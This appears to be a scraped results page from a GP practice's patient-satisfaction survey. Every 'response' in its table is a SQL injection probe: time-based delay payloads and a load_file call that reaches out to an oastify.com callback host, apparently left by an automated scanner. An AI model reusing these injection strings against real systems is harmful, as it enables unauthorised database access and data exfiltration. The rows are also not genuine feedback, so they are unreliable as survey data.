Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
Very good’ waitfor delay’0:0:20′– | [10] | [11] | July 4, 2023 at 6:21 am |
Very good’+(select*from(select(sleep(20)))a)+’ | [10] | [11] | July 4, 2023 at 6:21 am |
Very good'(select*from(select(sleep(20)))a)’ | [10] | [11] | July 4, 2023 at 6:21 am |
Very good’ | [10] | [11] | July 4, 2023 at 6:21 am |
Very good’+(select load_file(‘\o7w1e7yuysnylejx4rd8528yyp4tsmia9dx5k28r.oastify.comazm’))+’ | [10] | [11] | July 4, 2023 at 6:21 am |
